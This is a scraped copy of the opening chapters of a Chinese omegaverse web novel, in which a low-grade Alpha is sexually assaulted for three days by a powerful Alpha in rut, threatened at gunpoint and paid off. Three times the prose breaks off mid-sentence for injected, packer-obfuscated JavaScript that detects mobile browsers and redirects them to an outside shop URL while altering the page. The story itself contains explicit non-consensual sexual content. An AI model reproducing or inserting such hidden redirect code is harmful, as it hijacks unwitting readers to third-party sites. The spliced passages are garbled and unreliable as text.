《劣质Alpha被迫成为男妈妈》 1. 倒霉蛋 《劣质Alpha被迫成为男妈妈》 文/黄金圣斗士 2026/04/07 晋江文学城独家发表 感谢支持正版的读者 * 滚烫的吻带着兽性,来势汹汹。 “唔——” 李晃懵了下,才意识到闯进自己嘴里的热乎玩意儿是条舌头。发.情的畜生逮着他舌尖又吮又咬,那饿虎扑食的劲儿像是要把他生吞进肚子里。 血腥味瞬间炸开,他惊傻了,第一反应就是逃。可身体被压得难以动弹,又没法好好呼吸,越反抗越窒息,对方的强悍远远超出他想象,根本不是普通等级的Alpha。 何况还是个陷入易感期的Alpha。 李晃模糊的记忆里搜罗不出应对这危机的法子,光是初吻没留给心仪的Omega这一茬,就够他心乱了。 偏偏那舌头还堵着他嘴,往狠了吮他舌尖冒出的血。他整个人乱套,被吻得快缺氧,恍惚以为自己要被活活亲死,裤子什么时候飞的也不知道。直到对方发了狂似的往他身上撞,他才勉强清醒,卯足了劲儿把人推开。 “我也是Alpha!”李晃呼哧直喘,“你开灯看清——唔!” 黑暗里什么都看不见,只有浓到化不开的信息素,铺天盖地压下来。 “唔唔——”舌头被吸得发麻,李晃招架不住这么汹涌的吻,气都喘不上,神志渐渐涣散,满嘴唾液混着血,来不及咽,顺着嘴角淌了下来。凭着最后一点力气,他狼狈地偏头躲开,这一躲,彻底激怒了Alpha,头皮猛地传来一阵剧痛,脸被硬生生掰了回去。 “疼疼疼唔……救、救命啊!” 痛呼刚出口,就被侵略性的气息堵住了呼吸。他本能地释放出攻击性信息素,却微弱得可怜。唇齿间的力道越发狠戾,连啃带咬,那凶煞灼人的东西更是寸寸紧逼,正在碾碎李晃身为Alpha的意志。 李晃这人怕死,准确来说,是还没活够,也还没完成人生的大目标——结婚。 他本来是有希望的,有个香香软软的Omega答应要嫁给他。 “呃……不要咬我的腺体……” “啊——” 高热,喘息,失控的狂潮终于决堤。野兽以强悍惊人的力量轻易将猎物压制,再没什么能拦住他,舔舐,啃咬,一步步侵吞,抵死厮磨…… * 李晃是被一束亮光给刺醒的。 他眼皮子酸胀发沉,一时半会儿睁不开,倒是有股果香飘进鼻子里,香甜的气味浓得他有些恍惚,是谁在吃桃子?水果里他最喜欢吃的就是蜜桃。 一想到那汁水饱满的滋味,嗓子更干了,想咽口唾沫都费劲。 稍一动腿,某个地方就一阵灼烧之痛,李晃断片的记忆轰地全涌了回来,随即明白那股果香的来源。他刚费力睁开一条眼缝,就听见有人开口说话了。 “我说刑总,外头可都盯着你呢,一来就差点搞出人命,得亏这是我的地盘。” 被称作“刑总”的男人一言不发,只是望着窗外刺眼的阳光。 “你的易感期不是挺规律的,怎么回事?”陆乾似乎嫌房间里的气味太过甜腻,点了支烟。 见刑焱没应声,他又问:“是特效抑制剂的副作用?” 李晃闭着眼没敢动,生怕那玩命折腾他的疯狗又发.情扑过来。他屏息等了等,只听见有人吞云吐雾的动静,香甜的蜜桃味里混进一丝烟味。 “你那个贴身保镖住院了,一点印象都没有么?”陆乾走到刑焱身边,“我去医院看过他,脑震荡,右臂骨折。啧,还被你打掉了两颗牙。” 刑焱微皱眉头,没有说话。 陆乾吸了口烟,调侃起自己这个又闷又冷的表弟:“哎呀,不容易。我们小焱总算长大了,就是下手有点没轻没重,这倒霉蛋被你干了三天三夜,能活下来真是命大。” 倒霉蛋……李晃心想,是在说我吗? 好像也没说错,真够倒霉的,幸好命大。他纳闷疯狗怎么一直不吭声,“总算长大了”是什么意思?难不成是个刚成年的小弟弟?第一次易感期发作? 就算是小弟弟也不行,犯了错就得认。他现在浑身疼着呢,尤其屁股蛋子疼得最厉害,都不知道能不能正常撇大条了,肯定要去医院查一查。 李晃暗自琢磨着要多少医药费合适,顺便在这张柔软舒服的大床上多躺会儿,那边冷不丁发话了。 “等他醒了,帮我处理干净。” 啊?听见这陌生低沉的嗓音,半点不像小弟弟,还冷冰冰的,李晃心里一紧,不会是想赖账吧? “这就准备回北城了?”陆乾问。 “嗯。” 陆乾转头看向表弟,刑焱那张常年没什么表情的脸上,罕见地显出疲惫之色。 虽是表兄弟,两人其实算不上多亲近,顶多是利益共同体。小时候见面还能玩到一块儿,成年后再跟刑焱开玩笑,纯属自讨没趣。 “行。”陆乾应下来,要交代点别的,一道沙哑的声音骤然打断他。 “不行!”李晃腾一下坐起来,刚看清立在落地窗前的背影,灼烧般的痛感就从后头爆开,连带整个身体都火辣辣的。他“哎呦”一嗓子又瘫了回去,忍不住倒抽气。 陆乾看着床上那直捂屁股、龇牙咧嘴的滑稽倒霉蛋,掐了烟,对刑焱低声道:“小叔很担心你,给他回个电话。” “嘶……不要走!”刚才那一下坐狠了,躺着实在难受,李晃只好改趴着,扭头冲窗前那道背影喊,“喂,我屁股很疼,胳膊和腿也疼,得去医院检查,你要负责啊!” 刑焱听着Alpha断断续续的抽气声,又听他嚷嚷着要负责,眉头拧得更紧了。 突发的易感期让刑焱在海城多待了几天,这本身就是一个危险的讯号。陆乾使了个眼色,示意刑焱先走,随后一个响指,把候在门外的助理叫了进来。 但刑焱反倒不走了,许是见人醒了,打算亲自处理。陆乾早已查过三天前会所内外的所有监控,巧合得有些蹊跷,刑焱突然在车里易感期发作,这种情况从未有过,又突然冒出个送上门来的Alpha。 还是个劣质的,乍看没什么威胁性,不过脸蛋生得挺标致,得留个心眼。 陆乾觉得自己这表弟也算个倒霉蛋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459261|201272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他拍了拍刑焱的肩:“早帮你准备好了,你先处理。” 李晃趴着,视角有限,只能看见那道穿戴整齐的背影,完全没印象对方长什么样。 那天晚上车里太暗,会所里也昏暗,他压根就没瞧清楚。别说长相,他连对方的声音都是这会儿才第一次听见。整整三天三夜,这疯狗除了喘,从头到尾没吭过一句,光知道折腾人,房间里也一直黑黢黢的,想做点什么跟瞎子摸象似的。 事实上李晃什么也没做成,只摸黑逃过一回,结果反倒被疯狗用皮带绑起来狠狠折腾了一宿,身上被啃得到处是牙印,还失控尿了满床,这辈子没这么臊过。他现在不想计较这些了,归根结底要怪就怪自己认错了车,拿到医药费就行。 听到关门声,估摸着抽烟那男人出去了,李晃刚要开口谈钱,眼前冷不丁出现个西装男。西装男从公文包里取出样东西,很快,一张支票甩到了他枕边。 “这是你的报酬,请忘了这件事。”语气非常公式化。 报酬?李晃顾不上火辣辣的疼,强忍浑身酸软,翻身慢慢撑坐起来,拿起支票一看,直接惊了。 他食指点着票面上的数字,挨个数:“个、十、百、千、万、十万、百万……”还数出了声,数完当场懵逼。 “这,这两百万是给我的?”李晃没用过支票,见西装男点头说是,又低头看了看支票,忽然抬头问,“真能取出钱来吗?我可不是傻子,你们不要骗我,我就要——” “给他现金。”刑焱开口打断。 “……”李晃想说自己就要点医药费,当然这疯狗要是再赔点精神损失费,也是极好的。 他见西装男掏出手机打了通电话,对着那头唤“陆总”。没等多久,门外响起敲门声,有人送进来一个装钞箱。西装男当着他面打开箱子,一捆捆现金整齐地码在里面。 “这里是一百万现金,你可以先验验。” 西装男把装钞箱推到床头,让李晃近距离确认。 李晃好久没见过这么多钱,看得眼晕,一时以为自己在做梦。西装男又在一旁说,一百万现金和两百万支票二选一,还承诺若是不放心,可以派人陪他去银行兑现。 “收下钱,请忘了这件事。”西装男再次提醒。 二选一啊……李晃看回支票,乌黑的眼珠子逐渐发亮,再瞥向窗前那道被金光笼罩着的挺拔背影,简直像见了活菩萨,心里顿时敞亮了。难怪一个两个都听他安排,原来是位大老板。 “喂!”他冲那背影喊了声,语气难掩激动,“你搞了我三天三夜,我屁股都开花了,你还老咬我腺体,这怎么忘得了?” 男人终于回头。 李晃这才看清对方那张白净俊俏的脸,不由得愣了一下,心里啧啧称奇:挺帅一小伙子,人模人样的,年轻又有本事,怎么易感期发作起来那么畜生? 算了,易感期嘛,总不能因为自己没有,就不体谅人家。 这三天三夜的罪没白遭!其实也不全是疼,也有痛快的时候,还闻到了香甜的信息素,李晃觉得不亏。他冲男人咧嘴一笑,乐呵呵补上一句:“再来一次行吗?” 回应他的,却是一双冷眼。 2. 老婆的味道 李晃性子大大咧咧,没什么眼力见儿,可对上那双冷眼,也知道男人是不情愿的。自己能赚到这笔大钱,纯粹瞎猫碰上死耗子,毕竟Alpha只稀罕Omega。 “不行就算了,我随便问问。”坐了这么一会儿,屁股更火辣辣的,他干脆趴回床上,自顾自嘟囔,“你的易感期真是要人命,我歇会儿再走。” 房间里陷入了一阵诡异的沉默。 李晃没察觉,他脑子想不了太多太复杂的事。光支票和现金二选一,就够他纠结了。他都想要,又不敢全拿。因为有人教过他,不是自己的东西不能乱要,真想要,得凭本事争取,所以他才想从那一百万现金里头再争取一笔。 “请问考虑好了吗?” 听见西装男的声音,李晃一扭头,才发现Alpha不知何时转向了他,那道冰冷的视线还落在自己身上。 他被盯得莫名其妙,张口就问:“你一直看我干什么?有问题就说出来呗。” 刑焱看的不是李晃。他看的,是自己在这个低级Alpha身上留下的暧昧痕迹。 对方后颈被会所医生止血包扎过,受伤的腺体藏在纱布下面,但那些吻痕和牙印遍布全身,连露在被子外的俩脚丫子上也有,比阳光还刺眼。 三天三夜的交缠,刑焱记忆模糊,唯有一个念头刻得极深:他想标记这个男人。 见Alpha不作答,李晃更莫名其妙了。他简单琢磨了下,恍然大悟:“原来你是觉得膈应?那我也没辙,你以为我好受呢?初吻都让你抢了,我找谁说理去。” 说完他叹了口气:“算了算了,我也有一点点错。其实你该高兴的,幸好我身体结实、命大,万一是个Omega,早叫你搞死了。” 接着,他对西装男说:“我选支票。” 刑焱始终盯着李晃,目光扫过对方背上那一道道交错的陈年旧疤,有刀伤,有鞭痕,还有几处看不出是什么造成的。他略抬下巴,示意陆乾的助理出去。 助理刚蹲下身准备合上装钞箱,又听一声命令。 “钱留下。” “好的,刑总。” 李晃瞧在眼里,心里越发糊涂,难道又不膈应了?把钱留下是有那个意思? 他琢磨着等西装男一离开就赶紧把话说清楚,再来三天三夜可吃不消,能饿死在床上。只能来一次,价钱让对方看着给,反正都这样了,再疼也疼不到哪儿去。 然而对方没给他开口的机会。门一关,就有什么东西抵住了他后脑,硬邦邦的,有点凉。他想转头,那东西便用力顶了下他脑袋,紧接着,一声扣动扳机的脆响清晰入耳。 李晃猛地一哆嗦,整个身体僵住,不敢动了。 “有,有话好好说……”他声音都打了磕巴,压根没反应过来这疯狗什么时候掏的枪。 刑焱垂下眼睑,看着打哆嗦讨饶的男人。身体不算结实,也就一层薄肌,三天三夜下来嗓子都叫哑了,竟还能叽叽喳喳这么啰嗦,本以为胆儿有多肥。 他只问了一句:“背上的伤怎么来的?” “啊?”李晃愣了愣,慌忙解释,“别人打的。” “说清楚。”刑焱语气很淡,手里的枪非但没移开,反而抵得更紧。Alpha又是一哆嗦,颤意顺着枪管传进他掌心。 “就,就是被别人打的。”李晃倒是想说清楚,可一着急脑子就乱成一团,想来想去也说不出到底是谁打的。他觉得冤,任哥也没告诉他啊,只对他说过要好好生活,在外面不能惹事。 真怕小命当场交代在这儿,李晃只能一个劲儿求饶:“我想不起来了,你别杀我,支票我不要了行不行?是我那天晚上认错车,我活该。我肯定把这事忘了,也会把你忘掉的,我保证!发誓!做不到你再一枪崩了我。” 刑焱收了枪,顺势扯过被子,将Alpha上半身的红痕严严实实地盖住。 “……”李晃劫后余生,搞不懂疯狗怎么又忽然给他盖被子。他依旧趴着不敢动,连呼吸都偷偷摸摸,唯恐对方再变卦,给他来上一枪。 “在这里休息吧,会有医生过来。” “……哦。”李晃竖着耳朵,听脚步声渐渐走远,房门被打开又关上。直到确定人真的走了,他才长长松了口气,“哎呦,吓死老子了。” 套房隔壁的办公室里,陆乾听完助理的汇报,只当表弟头回开荤食髓知味,又跟那个Alpha做上了。 下一秒办公室门被推开,见刑焱进来,他挥退助理,半开玩笑地打趣:“看上那个Alpha了?” 刑焱没接话,走到沙发前坐下,修长的手指划开手机通讯录,翻出一个座机号码。 陆乾见状,笑道:“小叔昨天来过,听你房间里鬼哭狼嚎的,想进去看看,被你的信息素轰出来了。” 电话一接通,刑焱先报了平安:“爸,我没事。是特效抑制剂的副作用,回去吃点补剂就好,让您担心了。” 他顿了顿,又说:“生日快乐。” 电话那头,是刑焱的另一位父亲,也是陆乾的小叔——白叙之。 “没事就好,不用特意过来了。陪你度过易感期的那个人,没什么问题吧?” “是个Alpha。”刑焱说,“查清楚了,只是一场意外。” “Alpha?”白叙之明显吃了一惊,“那他状态还好吗?你最好再给他请个心理医生,可能会留下心理创伤。” 刑焱脑中闪过那男人见钱眼开的谄媚笑脸,巴不得再凑上来,需要心理医生么? “嗯。”他声音淡了下来,“我知道了。” 陆乾靠在椅背上抽着烟,听父子俩又简单聊了几句刑家的事。他这表弟,也就跟亲爹通电话时才稍微有点活人气儿,可见北城刑家是个什么地狱。 等刑焱结束电话,他提醒了一嘴:“是Alpha也得留心,他在装睡。” 男人气息微动的那刻,刑焱便已感知。对方背上的陈年旧伤太过醒目,却又一副见钱眼开的做派,浑身破绽,蠢得挂相,反倒不如一个干干净净的Omega来得可疑。 “叫医生给他做个全身检查,一百万现金也让他带走。”刑焱说罢,起了身。 提到这茬,陆乾想起什么:“对了,他的腺体原本就有损伤,功能不太正常,大概率没有标记能力。” 腺体是Alpha的核心生理器官,一旦受损,便会导致信息素系统紊乱,甚至完全丧失功能。 最直接的表现是,无法通过咬合向Omega的腺体有效注入信息素,自然也就无法完成标记。更不提其他附带症状,如果彻底废了,基本可以视作生理残疾。 陆乾弹了弹烟灰:“这边我派人盯着,你先回北城,我安排了司机送你。” “不用。”刑焱拒绝。 “我是为你好,”陆乾起身说,“你去照镜子看看自己脸色。谁易感期发作像你这么疯的?整个套房被你做遍了,那Alpha跟着你不吃不喝,人都失禁了。我看不是特效抑制剂的副作用吧?信息素紊乱了?” 医院里躺着的那个保镖也兼司机,跟了刑焱多年,曾是从枪林弹雨里滚出来的实战派雇佣兵,身手顶尖。谁能想到,那晚他不过是护主心切,对着某个认错车的倒霉蛋利落出手,就被自家主子三两下干趴,让救护车给拉走了。 被易感期操控了整整三天,刑焱确实有些乏:“你安排吧。” 陆乾仍不放心:“是不是信息素紊乱了?你这样子,让小叔怎么放心你回刑家?” 倦意涌上来,刑焱神色间掠过一点厌弃:“产生抗体了。” “这么快?”陆乾惊讶。 同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆乾接过助理递来的纸,没扫就先说了句:“还知道绕一圈,跑去书房找纸笔,挺会欲擒故纵么。” 低头一看,纸上只歪歪扭扭写着六个大字:好人一生平安。 刑焱的目光在那行丑字上短暂停了两秒。 “小林,”陆乾喊助理,“你看看这是唱的哪一出?” 小林状似认真地想了想,斗胆附和:“刑总比两百万值钱,他这是在欲擒故纵。” “用你废话?”陆乾斜助理一眼,“说说看,什么叫好人一生平安。” “呃……”小林硬着头皮分析,“那一定是刑总技术太好了,给了他永生难忘的体验,他上瘾了,所以夸刑总是好人,祝刑总一生平安。” “嗯,这倒也说得通。”陆乾转头想问问当事人刑总怎么看,对方只留下一道背影,已然走远。 “我这表弟啊……”他摇了摇头。 - 多不容易冲到大路口,李晃跑得心急火燎,额头上全是冷汗,中途还腿软栽了个跟头。他死死捂着夹克内兜里的三万块钱,咬牙拦了辆出租车,一上车就瘫在后座上,心脏还在怦怦狂跳。 司机被他那副脸红气喘的样子吓了一跳,忙问:“小老弟,你怎么了?” “没事!就路上摔了一跤!”李晃说完,又想揉腰又想揉屁股蛋子,两条腿也酸软得直发颤,总之浑身上下哪哪都不得劲儿,就没这么虚过。 司机一脸狐疑:“别在我车上发.情啊。” “我是Alpha,”意识到自己身上的信息素还太浓,又是香甜可口的蜜桃味,李晃脑子一抽,胡乱解释,“这是我老婆的味道!” 低级Alpha哪闻过这么纯正浓郁的信息素,根本分不清来自Alpha还是Omega。司机吸了下鼻子,酸溜溜地吐了句:“你老婆还怪香的嘞。” “……” 李晃报了个地址,手还死死捂着那笔钱,心里暗暗嘀咕:自己只说不要支票,可没说不要现金。就拿了三万块钱,那疯狗总不至于追过来杀人灭口。 他都留了“好人一生平安”,对方要是有点良心,就该知道这三万块钱是他应得的! 3. 热烈的拥抱 码头的风又腥又咸,裹着水汽,刮在脸上凉飕飕的。 李晃胡乱扒拉了下被吹乱的头发,大步追上工头,一把拽住对方胳膊,着急道:“王哥,你不用我了,工钱得给我呀!” 工头王搡开他就骂:“你还有脸要工钱?我他妈给你个屁吃要不要啊?” 李晃一米八五的大个子,看着精瘦,但干惯了苦力,一身骨头硬得很,不笑时周身带点不好惹的硬气,往那儿一杵也能唬住人,前提是别开口说话。 “不要,你屁太臭了。” 工头王让他一噎,气得眼珠子都瞪圆了,到底干不过一身牛劲儿的Alpha,只能跟李晃算账:“小李,临时工也得守规矩,你无故旷工七天,电话打不通——” “我没不守规矩,”李晃打断工头,“是手机让人踩坏了,那人还打伤我,我身体疼得干不了活,医生劝我在家歇几天的,一养好我就来了!” 这是李晃在来的路上编好的理由,其实也不算撒谎,那疯狗真的打了他,专往他屁股上招呼,他都记不清被扇了多少巴掌,寻思工头听了能体谅一下,再给一次机会。 “现在来顶个屁用?早就招新人了,还等你?被你耽误多少进度知不知道?害老板亏了千八百,从你工钱里扣光了!” 一听老板亏了钱,李晃掰着手指头开始算自己应得的工钱,算完才问:“千八百是一千还是八百?” 工头王本就不耐烦:“别管一千还是八百,你这月才干几天?扣完都不够赔的。行了赶紧走,别在这儿碍眼!” “不对!”李晃摇头,比划着手势,“我干了有六天,工钱是二百一天,一共一千二。老板亏一千,我还剩二百;亏八百,那就是四百。” “哟呵,账算得挺溜啊。”工头王反被气笑了。 李晃当这是夸奖,被夸了就高兴,笑说自己很会算账。哪晓得工头瞬间变脸,大骂他猪脑子,说无故旷工也要扣钱,算上老板的亏损加罚款,一分工钱都别想拿到! “你这猪脑子算明白了没?!” “我不是猪脑子,”李晃有点不乐意,又强调,“不是。” “那你跟我算个屁的账?没工钱结给你,赶紧走!” 等Alpha蔫头耷脑地走远了,工头王才在心里啐了一口:谁介绍来的二傻子?真虎。 李晃还想再算算账的,可找到工头前,就先被几个工人抱怨了一通,说他前些天没来,货堆成山,大伙儿头天全跟着加了班,他哪好意思再计较。 ……都赖那个易感期发作的疯狗。 离开码头没走多远,李晃往路牙子上一坐,屁股刚挨着,又立马站起来揉了几下。养了四天还是不得劲儿,他总感觉那疯狗的子子孙孙还在里头没弄干净。一想到医生说的撕裂严重,这几天清汤寡水的苦日子,尤其上厕所最折磨,他就觉得亏惨了。 嗐,可惜当时身体太虚,拎不动那么多钱,兜又不够多。 李晃只好自我安慰,大老板的钱烫手,拿多了或许有危险。再说了,敢随身带枪的,能是什么好人? 转念想到跟自己最亲的任哥也随身带枪,他又呸呸呸,不想这糟心事了,往树干上一靠,掏出裤兜里那部几百块钱的新手机。 通讯录里没几个联系人,李晃拨了其中一个。等了好一会儿,终于通了,他激动地叫:“唐唐!” “干嘛呀李哥,人家好困……” 那头倦意浓浓,李晃怪自己打得不是时候,赶紧问:“唐唐,你还好不?我给你打了好多电话,你都没接,昨晚上你家敲门,你也不在。” “噢,我昨天不在海城,山上信号太差。好啦不说了,我没什么事儿,就是困,得空找你。” “真的吗?我那天晚上去会所找你了,就怕你出事。” “你去找我了?” “嗯,可是没找到。”李晃十分懊恼地说,“我认错车了,那车标跟你上的车一样,也是黑色的。” “不能光看车标,还有型号呢。哎呀,都说了别担心,龙哥吓唬我的,就让我陪了几杯酒。我又不傻,他叫我接客我就接?我不会跑嘛?” 陪酒李晃也担心,连忙说:“唐唐,我这儿有三万块钱,你先拿去还债,跟龙哥好好说说情。” “……呜,李哥你真好。” 听筒里传来软乎乎的声音,李晃这几天的苦闷总算散了些,屁股也不那么难受了,至于工作吧丢就丢了。只要人好好活着,总会有希望。 他笑起来:“我说过要帮你的,不会不管你。快睡吧,我今天没事,等中午我把钱送过去。” 李晃在码头卸货的这份工作,就是江唐托关系给介绍的——那个答应要嫁给他的香香软软的Omega。 回去路上,他又忍不住心疼那张两百万的支票。看到支票的那一刻,李晃真觉得老天爷在帮他,数额不多不少,刚好够帮江唐还清债务,赎回自由身。 只不过老天爷跟他开了个玩笑。 等李晃前脚刚到家,江唐后脚就赶来了,进屋连鞋都没换,先给了他一个热情的拥抱。李晃呆了一瞬,莫名有点不适应,实在是会所楼上那间套房里,他承受过太多比这更热烈的拥抱。娇软的身子贴着他,他胳膊都不知道该往哪儿放了。 江唐仅是抱了两秒,退开后冲李晃眨巴着一双湿漉漉的眼睛,声音也软软的:“谢谢你呀李哥……我背着一身债,很怕拖累你,你还一直帮我。” “又说瞎话,”见江唐要哭,李晃笨拙地哄他,“不要哭,是李哥没能力,手里就这三万块钱,帮不了你多少。” “哪有!”江唐笑着抹去眼角的泪光,“李哥你超级棒,特别能干,长得又高又帅身材又好,性格也好,还会洗衣做饭,将来肯定是个好爸爸,能认识你是我的福气。” 李晃当然没那么高尚,被一通夸奖给整难为情了。 两百万对他来说是笔巨款,他不知道要搬多少年货才能挣到,原本也只能尽力帮江唐减轻点生活负担,每月工钱分他一半,结果凑巧就有张两百万的支票出现了。 江唐说等压力小点了就嫁给他,这话他一直记在心里,可自己腺体受损,算得上生理残疾,到底没敢再往前迈一步。两人就这么不温不火地处着,不见丁点暧昧,反倒更像兄弟。 如今又出了那种糟心事,李晃心里说不出的别扭,昨晚还梦见那疯狗玩命折腾他,亲得他满嘴是血。要是让唐唐知道这事,没准会嫌弃他。 趁着李晃进卧室取钱,江唐又打量起他住的这套三居室。小区老旧,地段一般,又是采光差的一楼,胜在面积凑合,按行情大概能卖一百万。 自打发现李晃名下有套房,江唐就惦记上了,自己被搅得心烦意乱。跟李晃周旋了三个多月,这傻子又好糊弄又不好糊弄的。 “唐唐,”李晃拿着钱出来,关切地问,“龙哥这几天没为难你吧?” “没有,我每个月都在还钱的嘛。”江唐理直气壮地收下钱,也不问哪来的,想想又说,“他们这种混黑的王八蛋就是没良心,四处放债,每月收的全算利息,大不了我就还一辈子,还不起我就……我就找棵歪脖子树吊死算了!” 一听这委屈又丧气的话,李晃哪里受得了:“不许瞎说,你才二十二,想什么死不死的,活着才有希望!” “哪有希望?”江唐低下头,吸着鼻子哽咽起来,“龙哥昨天还打我。我听说他有个场子被砸了,手头紧得很,所以那天晚上才逼我去接客……我不敢告诉你,是怕你嫌弃我……” 李晃愕然,合着那天晚上,倒霉蛋不止他一个。 “李哥,你是不是嫌弃我了?”江唐抬起脸,眼眶通红,睫毛上还挂着泪珠很是可怜。 看着眼前白皙漂亮的Omega,李晃怎么舍得嫌弃?既有同是天涯沦落人的心酸,又暗自庆幸,俩倒霉蛋凑一块儿了,多难得的缘分。 他打算说说自己的遭遇,可话到嘴边,死活张不了口,只能接着安慰:“不嫌弃!没事的唐唐,好好活着比什么都强,事情过去了就不想了,把它忘掉,啊?往前看,李哥努力挣钱帮你还债。” “……”又是这些车轱辘屁话,江唐差点没忍住翻白眼,心里暗骂:你的努力他妈值几个钱啊?怪不得是个二傻子,这辈子也就这样了。 见江唐咬着嘴唇不出声,李晃有些无措,不知道该怎么安慰。他身体还算经得住折腾,恢复也快,但江唐娇小瘦弱,哪扛得住?他自己昨晚都做了噩梦,江唐只会更害怕,不然也不会急着过来拿钱。 摆脱不了龙哥,这孩子指不定真会想不开。 “唐唐,”李晃抬起手,轻轻摸了摸江唐的头,“还没跟你说过我的事吧。我是孤儿,在福利院长大的,去过两个家,后来新爸妈有了自己的孩子,都不要我了。那时候我已经是个大孩子,没人愿意收养。 “后来有个哥哥回福利院找院长,看我可怜,就把我带走了。别人都说我傻,我觉得我不傻,哥哥也老夸我聪明,他说我以前很机灵的,是因为受了重伤差点没命,脑子被医生打开治疗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459263|201272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,所以才转得比别人慢一点儿。 “我背上还有好多伤,他怕我难受一直瞒着我,要我往前看。其实我心里明白的,我以前被人虐待过,是哥哥救了我,让我好好活了下来,让我看见太阳和月亮,能吃上很多好吃的,还能认识你……以前都没Omega愿意靠近我。” 江唐满脑子都在琢磨怎么忽悠李晃把房子卖了,又觉得坑一个傻子不太厚道。何况李晃每个月还按时给他交工资,不像他以前坑的那些,又精又猥琐,给点甜头就上钩的下流胚。 内心正天人交战,他劝自己:这二傻子认识我,算他倒了八辈子血霉。 只是猝不及防听完李晃这番话,江唐彻底沉默了。 “活着多好啊,你不要想不开。” 李晃一股脑把自己的身世全说了出来,心里默默跟任哥道歉:对不起呀任哥,把你也给说出来了,可江唐是我亲近的人,还帮我找了工作,以后说不定还会是我老婆。 话赶话劝到这儿,他犹豫了下:“唐唐,其实那次重伤,我腺体也受损了。咱俩以后要真结婚的话,我,我没法标记你,可能还……要不了孩子。” 江唐沉默地看着李晃。 “只要你不嫌弃我,”李晃挠了挠头发,“这辈子我都管你。” “……” 这是二傻子第一次跟他啰嗦这么多话,絮絮叨叨讲着没人在意的身世,江唐听得烦躁。当亲眼看见李晃黑发里藏着的那道长长的疤痕时,江唐一分一秒都待不下去了,李晃童年的遭遇勾起了他自己那些不堪的过往。 操,这傻子故意的吧?打什么感情牌!他逼自己收回同情心,强撑着伪装,不怀好意地问:“你没有以前的记忆了?你怎么知道虐待你的人,不是你那个哥哥?” 李晃刚点了下头,又迅速摇头,急忙解释:“不是的!任哥跟我一样是孤儿,也是那个福利院长大的,他对我特别好,真的!这房子就是他送我的,说留给我结婚用。他在国外工作,等他回来看我,我介绍给你认识。” 原来是婚房啊。 江唐忽然扑哧一笑,应道:“好呀。” 李晃想了想,忍不住问:“你身体还难受吗?有哪儿不舒服跟我说,我去给你买药。” 江唐又笑了笑,答非所问:“李哥,你真好。” “Alpha照顾Omega是应该的,你还小我那么多。”李晃依然不放心,又叮嘱了一句,“要好好活着,知道不?” “放心啦。”江唐把手里三万块钱放到玄关柜上,后知后觉反应过来,“今天怎么没去码头?”注意到李晃穿的高领衫,“是不是身体不舒服?我好像还没见过你的易感期。” 李晃无奈解释起腺体受损的后遗症,信息素强度下降不说,易感期也变得极不规律。前几年还断断续续有过,今年没了,这样倒也挺好,抑制剂的钱省了。 被辞退的事瞒不住,他索性也说了出来,理由还是之前那套,在会所被人打伤了。 江唐一听,瞬间变脸:“谁打你了?是不是龙哥手底下那几个王八蛋?!” “不是他们,”李晃说,“怪我认错车,车主喝多了就……都过去了,本来也是我不对。” “你就是太好说话了,”江唐撇着嘴说,“人善被人欺。” “多一事不如少一事,任哥教我的。”李晃憨憨笑了下。 “还笑,别忘了你是Alpha,碰上不好惹的就得自称老子,跑之前也得甩个恶狠狠的眼神,把气势拿出来!” “……好。” 李晃没那个脸让江唐知道,他被一疯狗拿枪顶了脑袋,只敢小声憋出句“老子”,其实躲在被窝里吓得魂都快飞了,很怕见不到第二天的太阳。 “工作丢就丢了,等我给你找新的。”江唐打开门,跑前匆匆丢下一句,“这钱你自己留着花,追过来我跟你急!” 李晃还真捧着钱追了出去,两人在单元楼前你拉我扯。最后江唐拿走两万,心里骂骂咧咧飙了句脏话,硬给真诚又笨拙的傻子留下一万。 揣着钱回到家,李晃越想越不是滋味,自己连一个Omega都护不了,还算是Alpha吗? 就在他决定拿剩下的一万块钱单独去找龙哥谈判时,门突然被敲响了。以为是去而复返的江唐,一打开门,李晃当场僵住,竟是在会所里见过的那个西装男。 “你好,李先生。” “你怎么知道我住这儿?” 李晃问完后背一凉,自己这是被疯狗盯上了。 4. 疯子 他慌忙把门关得只剩一条缝隙,语速飞快地说:“我已经忘了那件事,没要你老板负责,那三万块钱也是我应得的医药费和精神损失费。” “我是来送支票的。” 门缝突地宽了一大截,先是探出半张脸,随后整张俊脸都露了出来,眼睛直勾勾盯着来人:“为什么?” 确定是个见钱眼开的主儿,门外的小林立刻打开公文包取出一张支票,伸手递出,客气道:“你那天忘了拿走,陆总交代我给你送过来。” 李晃懵逼地瞅了眼支票上的金额,是可以帮江唐赎身的两百万。 “请收下。” 两百万……李晃又瞅一眼支票,说不心动是假的,他甚至脑补出把支票狠狠甩在满脸横肉的龙哥头上,指着龙哥鼻子再恶狠狠撂下一句:“江唐是老子的Omega!” 不过也只敢在脑子里想想,他不敢收,隐隐觉得不对劲。那疯狗之前还嫌膈应呢,对他又甩脸子又动杀心的,现在连他名字和住处都摸清了,指定有诈。 见李晃光眼馋,却一脸警惕地杵在门后没动作,小林暂时收起支票,耐心道:“李先生,我知道你心里有顾虑,我会一一说明,不知方便让我进屋坐坐吗?” “不方便,”李晃直接拒绝,“有话你就说。” 